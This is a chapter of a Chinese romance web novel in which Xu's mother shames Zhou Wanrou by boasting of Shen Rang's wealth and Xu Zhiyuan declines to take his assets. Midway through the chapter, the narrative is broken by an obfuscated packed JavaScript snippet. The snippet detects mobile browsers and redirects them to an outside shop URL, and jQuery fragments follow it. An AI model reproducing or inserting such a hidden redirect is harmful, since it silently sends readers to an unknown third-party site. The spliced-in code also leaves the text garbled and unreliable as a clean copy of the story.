“女婿?”
“没听错吧?跟许家千金有婚约的不是沈家二公子沈嘉年吗?什么时候变成沈让了?”
许知愿更换未婚夫,与沈让结婚的事还未彻底公开,所以许母这句话一爆出来,顿时引起众人的震惊与议论。
许母没什么好遮掩的,大大方方承认,“沈让确实是我女婿,一个月前两个孩子已经领了证,至于为什么更换未婚夫,这事是经过两家商量一致决定的,在这里就不多透露具体原因了。”
她说罢,眼神凌厉看向周婉柔,“沈让如今也算是我半个儿子,你们不把他当家里人,我们当,但你再要试图抹黑他,欺负他,我们许家第一个不允许!”
反正都已经撕破脸皮了,周婉柔也不介意把许母再得罪干净一些,“这么袒护沈让,一口一个女婿儿子的,既然这样,干脆把许氏提前继承给他,免得他一天到晚惦记沈氏的股份。”
“惦记沈氏的股份?就沈怀志预备给,而沈让根本就没稀得要的那百分之五的股份?”
许母说着笑了声,打开手机,调出图片一张张翻给众人看,“这是我女婿娶我女儿时给的聘礼,房产,地契,各种信托基金,加起来都可以买下整个沈氏了,你在这里跟我说他惦记你们沈家那百分之五的股份?”
房产?地契?信托基金?加起来能买下整个沈氏?
周婉柔怎么可能相信,想要凑上去再看仔细些,许母“咔哒”一声锁屏,“还是别给你看了,不然我怕你气得夜里睡不着。”
周婉柔根本不用等到夜里,此时此刻就已经快要气得背过去,她狠狠咬了咬牙,顶着一片讥讽,嘲笑声,落荒而逃。
她走后,许母成了太太们之间下一个话题焦点,一个个围着她询问沈让除了律师这一职业,是不是还有什么隐形收入。
许母哪里知道沈让有什么隐形收入,这些文件还是今早许父拿给她看的,当时她也小小的震惊了一下,但有机会在外人面前显摆自己的女婿,她当然要不遗余力。
“隐形收入啊,大概吧,具体不清楚,总之比做律师赚得多…孝顺呢,每次来我们家,礼品拎都拎不下,就上次你们说宣城都买不到的那两个包包,那都是他给我买的,对我家老许也好,知道他喜欢文房四宝,送的都是收藏品,你说对我女儿啊,那当然更是没话说,就这么跟你们说罢,比我跟老许两人加起来疼她还要多…”
“好了好了,停!”
许母回到许家,正描述得绘声绘色,许知愿听到最后那段话时,终于忍不住了。
“许太太,过于夸张了哈,沈让有点小钱是没错,但你这把他描述的简直快要登上福布斯富豪榜了,还有,他对我是还不错,不过比您跟我爸加起来都多,这话您自己听着信吗?”
许母今天可谓是骂也骂爽了,炫耀也炫耀够了,整个人到现在还处于极度亢奋的状态。
“我信不信不重要,那些太太们信不就行了?再说了,不是你让我自由发挥的?我现在想想,觉得发挥得还不够自由,应该再杜撰一下,给沈让营造成一个身价过千亿的神秘集团大佬!”
“身价过千亿?还神秘集团大佬?”
许知愿一阵恶寒,手心朝上伸到许母面前,“手机拿来。”
许母一边拿手机,一边询问:“要我手机干嘛?”
许知愿嘴角扯起一抹礼貌的弧度,“把你上面的短剧APP给卸载了。”
许母递出去一半的手机顿时收回来,紧握在胸前,“那可不行,这是我的精神食粮,全靠里面的帅哥续命!”
许父正喝茶,闻言,“咳”了一声,差点呛出来,“愿愿,卸,马上卸,爸爸支持你。”
许父话刚落音,许母已经揣着手机跑得没影了。
父女两对视一眼,同时忍不住笑了。
许知愿笑完后才想起正事,“爸爸,刚刚妈说的那些文件,沈让什么时候给你的啊?”
许父放下茶杯,“就是你们领证后,他第一次上我们家那次。”
许知愿回忆起那天,当时许父跟沈让确实在书房待了很久。
“我去把原件拿来给你看看,沈让说你随时可以签名。”
只要签下名字,那些资产就都是许知愿的了。
许父刚准备起身,却被许知愿轻轻按住手臂。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101960|195745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“爸,不用了。”
她声音柔和,却带着清晰的笃定,“那些是他辛苦赚来的,是他对您和妈妈的承诺,也是为我铺的后路……这些我都知道。”
她顿了一顿,眼底有温暖的光微微浮动。
“我不是不要,只是现在还不能要,那对他不公平,婚姻是我们两个共同的决定,所有的好事不能只落在我一个人头上,所有的风险也不该由他一人承担。”
女儿一直比自己想象中的还要明事理,许父的手在空中顿了顿,最终落在她肩上,很轻地拍了拍。
他本想说什么,话到嘴边却只是笑了笑,毫不吝啬地夸赞道,“我的女儿啊,真了不起!”
不是了不起,只是许知愿比任何人都清楚,沈让给她的不是馈赠,是想要跟她共度余生的决心,这份决心,得用同样的真诚去接。
许知愿把这个大快人心的好消息说给魏莱听时,魏莱正在前往餐厅的路上,听完许知愿的描述,也跟着激动不已,“真好,这就叫搬起石头砸自己的脚,也算因果不虚。”
周婉柔精心编织了十几年“贤良大度”的假面,如今被真相以最戏剧性的方式当众撕裂。这场她亲自搭台、自导自演的戏,终于在她最想博取掌声的观众面前——彻彻底底地,坍台了。
魏莱说完又想起什么,“那陈妈呢?虽然她的所作所为是遵从主人家的命令,但对沈让哥造成实质性伤害的确实是她本人,你就这样轻易放过她了?”
许知愿笑了声,“现在已经不是我放不放过她的问题了,她当着众人的面揭发周婉柔,你以为凭借周婉柔的性格,会轻易善罢甘休?”
魏莱心里暗赞许知愿高明,“主仆二人狼狈为奸半辈子,到最后落得个狗咬狗的下场,这种结局实在好,特别解气!”
魏莱叹息一声,“可惜了,你默默为沈让哥做了这么多,他却并不知情,否则的话,不定怎么感动呢。”
许知愿要的哪里是沈让的感动,她心里愧疚都来不及,她在谴责沈家没一个人关心沈让的同时,也在内心检讨自己,那个时候,她如果再细心那么一点点,发现沈让的处境,是不是可以帮他一把,不至于让他一个人这么难熬?”